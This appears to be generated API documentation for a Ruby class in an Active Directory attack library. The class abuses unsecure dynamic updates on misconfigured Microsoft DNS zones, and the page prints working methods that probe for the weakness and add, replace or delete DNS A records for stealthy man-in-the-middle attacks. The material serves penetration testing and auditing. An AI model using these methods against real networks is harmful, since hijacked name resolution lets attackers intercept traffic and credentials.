Class: ADAssault::DNS::DUZDU
- Inherits:
-
Object
- Object
- ADAssault::DNS::DUZDU
- Defined in:
- lib/adassault/dns/duzdu.rb
Overview
**DNS unsecure zone dynamic update (DUZDU).**
On a misconfigured MS DNS zone, one can abuse dynamic updates to perform MiTM attacks in a very stealth way.
On a Windows server with the DNS role, the ‘DSPROPERTY_ZONE_ALLOW_UPDATE` property defines whether dynamic updates are allowed. See [Microsoft - MS-DNSP - 2.3.2.1.1 Property Id](learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/3af63871-0cc4-4179-916c-5caade55a8f3). The possible values (`fAllowUpdate`) are (see [Microsoft - MS-DNSP - 2.2.5.2.4.1 DNS_RPC_ZONE_INFO_W2K](learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dnsp/e8651544-0fbb-4038-8232-375ff2d8a55e)):
-
‘0` (`ZONE_UPDATE_OFF`): No updates are allowed for the zone.
-
‘1` (`ZONE_UPDATE_UNSECURE`): All updates (secure and unsecure) are allowed for the zone.
-
‘2` (`ZONE_UPDATE_SECURE`): The zone only allows secure updates, that is, DNS packet MUST have a TSIG [RFC2845] present in the additional section.
One can see the property when connected to the DNS server (near 100% of times on the domain controller), with the command: ‘dnscmd.exe /ZoneInfo <example: thm.local>` and the value of `update`. Another option with the GUI, is to launch `DNS Manager` on the Windows server, then unfold the tree until the DNS zone, right click on it, select `Properties`, on the `General` tab, see the value of the select fields named `Dynamic updates`. Of course it is also possible to check remotly by trying to create a record. (see #checkv4)
References:
- [FR
-
ANSSI - Points de contrôle Active Directory - Zones DNS mal configurées (vuln_dnszone_bad_prop)](www.cert.ssi.gouv.fr/uploads/ad_checklist.html)
- [FR
-
ANSSI - Bulletin d’alerte du CERT-FR - Multiples vulnérabilités dans Microsoft DNS server - CERTFR-2021-ALE-005](www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-005/)
- [EN
-
RFC 2136 - Dynamic Updates in the Domain Name System (DNS UPDATE)](datatracker.ietf.org/doc/html/rfc2136)
- [EN
-
RFC 2845 - Secret Key Transaction Authentication for DNS (TSIG)](datatracker.ietf.org/doc/html/rfc2845)
- [EN
-
RFC 3007 - Secure Domain Name System (DNS) Dynamic Update](datatracker.ietf.org/doc/html/rfc3007)
- [EN
-
RFC 4033 - DNS Security Introduction and Requirements](datatracker.ietf.org/doc/html/rfc4033)
- [EN
-
RFC 4034 - Resource Records for the DNS Security Extensions](datatracker.ietf.org/doc/html/rfc4034)
- [EN
-
RFC 4035 - Protocol Modifications for the DNS Security Extensions](datatracker.ietf.org/doc/html/rfc4035)
- [EN
-
RFC 6895 - Domain Name System (DNS) IANA Considerations](datatracker.ietf.org/doc/html/rfc6895)
- [EN
-
RFC 8945 - Secret Key Transaction Authentication for DNS (TSIG)](datatracker.ietf.org/doc/html/rfc8945)
Instance Method Summary collapse
-
#addv4(name, ip) ⇒ TrueClass|FalseClass
**Add a DNS A record (IPv4) via dynamic updates**.
-
#checkv4 ⇒ TrueClass|FalseClass
**Check if unsecure dynamic updates are allowed (IPv4)**.
-
#deletev4(name) ⇒ TrueClass|FalseClass
**Remove a DNS A record (IPv4) via dynamic updates**.
-
#display(success, cmd) ⇒ nil
Display a CLI-friendly output showing if the executed method was successful or not.
-
#display_record(name, ips) ⇒ nil
Display a CLI-friendly output formating the DNS record with its FQDN and IP addresses.
-
#getv4(name) ⇒ Array<String>
**Get the value(s) of a DNS A record (IPv4)**.
-
#initialize(ad_domain, dns_opts = nil) ⇒ DUZDU
constructor
**Create the DUZDU object**.
-
#replacev4(name, ip) ⇒ TrueClass|FalseClass
**Change the value of an existing DNS A record (IPv4) via dynamic updates**.
Constructor Details
#initialize(ad_domain, dns_opts = nil) ⇒ DUZDU
**Create the DUZDU object**
46 47 48 49 |
# File 'lib/adassault/dns/duzdu.rb', line 46 def initialize(ad_domain, dns_opts = nil) @ad_domain = ad_domain @dns_opts = dns_opts end |
Instance Method Details
#addv4(name, ip) ⇒ TrueClass|FalseClass
**Add a DNS A record (IPv4) via dynamic updates**
Warning: adding 2nd value the same name will result in two entries for the same record, not updating the name (for that use #replacev4).
74 75 76 77 78 |
# File 'lib/adassault/dns/duzdu.rb', line 74 def addv4(name, ip) update = Dnsruby::Update.new(@ad_domain) update.add("#{name}.#{@ad_domain}.", 'A', 300, ip) send_update(update) end |
#checkv4 ⇒ TrueClass|FalseClass
**Check if unsecure dynamic updates are allowed (IPv4)**
It will try to create a random IPv4 record in the zone and remove it.
102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 |
# File 'lib/adassault/dns/duzdu.rb', line 102 def checkv4 networks = ['10.0.0.0/8', '172.16.0.0/12', '192.168.0.0/16'].map { |x| IPAddr.new(x) } network = networks.sample begin name = Random.uuid_v4 # Ruby 3.3+ rescue NoMethodError # see https://github.com/ruby/securerandom/issues/31 name = Random.uuid # Ruby 3.2- end ip = IPAddr.new(rand(network.to_range.begin.succ.to_i..network.to_range.end.to_i - 1), network.family) created = addv4(name, ip) # if created # deletev4(name) # true # else # false # end created ? deletev4(name) || true : false end |
#deletev4(name) ⇒ TrueClass|FalseClass
**Remove a DNS A record (IPv4) via dynamic updates**
Warning: if several entries exist for the same record, they will all be deleted.
87 88 89 90 91 92 |
# File 'lib/adassault/dns/duzdu.rb', line 87 def deletev4(name) update = Dnsruby::Update.new(@ad_domain) update.present("#{name}.#{@ad_domain}", 'A') update.delete("#{name}.#{@ad_domain}", 'A') send_update(update) end |
#display(success, cmd) ⇒ nil
Display a CLI-friendly output showing if the executed method was successful or not
141 142 143 144 145 146 147 148 149 150 151 |
# File 'lib/adassault/dns/duzdu.rb', line 141 def display(success, cmd) # allowed_methods = DUZDU.public_instance_methods(false) - [:display] # success = allowed_methods.include?(cmd.to_sym) ? send(cmd) : nil = if success Paint["✅ #{cmd} was executed successfully", 'green'] else Paint["❌ #{cmd} was unsuccessful", 'red'] end puts end |
#display_record(name, ips) ⇒ nil
Display a CLI-friendly output formating the DNS record with its FQDN and IP addresses.
157 158 159 160 |
# File 'lib/adassault/dns/duzdu.rb', line 157 def display_record(name, ips) fqdn = "#{name}.#{@ad_domain}" puts "#{Paint[fqdn, 'cyan']} - #{Paint[ips.join(', '), 'aquamarine']}" end |
#getv4(name) ⇒ Array<String>
**Get the value(s) of a DNS A record (IPv4)**
128 129 130 131 132 133 134 135 |
# File 'lib/adassault/dns/duzdu.rb', line 128 def getv4(name) Dnsruby::DNS.open(@dns_opts) do |dns| ress = dns.getresources("#{name}.#{@ad_domain}", 'A') ress.map { |x| x.address.to_s } rescue Dnsruby::NXDomain # The requested domain does not exist [''] end end |
#replacev4(name, ip) ⇒ TrueClass|FalseClass
**Change the value of an existing DNS A record (IPv4) via dynamic updates**
It will remove and recreate the record.
Warning: if several entries exist for the same record, they will all be replaced by the new value.
61 62 63 64 |
# File 'lib/adassault/dns/duzdu.rb', line 61 def replacev4(name, ip) deletev4(name) addv4(name, ip) end |